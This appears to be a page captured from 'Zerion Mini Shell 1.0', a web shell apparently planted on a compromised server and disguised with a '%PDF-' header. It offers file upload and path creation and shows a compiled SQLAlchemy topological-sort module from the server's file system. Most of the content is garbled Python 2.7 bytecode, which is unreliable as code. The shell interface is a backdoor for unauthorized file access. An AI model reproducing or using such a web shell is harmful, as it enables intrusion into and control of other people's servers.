%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/util/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/util/topological.pyo

�
��4]c@scdZddlmZddlmZdddgZed�Zed�Zd	�Z	d
�Z
dS(sTopological sorting algorithms.i(tutil(tCircularDependencyErrortsorttsort_as_subsetstfind_cyclesc
cs�tjt�}x%|D]\}}||j|�qW|rFtjnt}||�}x�|r�|�}x1|D])}	|j||	�rq|j|	�qqqqW|s�tdt||�t|���n|j	|�|Vq[WdS(NsCircular dependency detected.(
Rtdefaultdicttsettaddt
OrderedSett
isdisjointRRt
_gen_edgestdifference_update(
ttuplestallitemstdeterministic_ordertedgestparenttchildtSetttodotoutputtnode((sN/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/util/topological.pyRs"		

ccs7x0t|||�D]}x|D]}|Vq WqWdS(s�sort the given list of items by dependency.

    'tuples' is a list of tuples representing a partial ordering.
    'deterministic_order' keeps items within a dependency tier in list order.
    N(R(RR
Rtset_ts((sN/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/util/topological.pyR,s
cCstjt�}x%|D]\}}||j|�qWt|�}t�}x�|D]�}|g}|j|�}	x�|r|d}
x�||
D]l}||kr�||j|�}|	j|�|j|�n||	kr�|j|�|	j	|�Pq�q�W|j
�}qtWqSW|S(Ni����(RRRRt
differencetindexRtupdatetappendtremovetpop(RR
RRRt
nodes_to_testRRtstackRttoptcyc((sN/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/util/topological.pyR8s*	
		



cCs4tg|D]#}||D]}||f^qq
�S(N(R(Rtlefttright((sN/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/util/topological.pyR
`sN(t__doc__tRtexcRt__all__tFalseRRRR
(((sN/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/util/topological.pyt<module>s	(

Zerion Mini Shell 1.0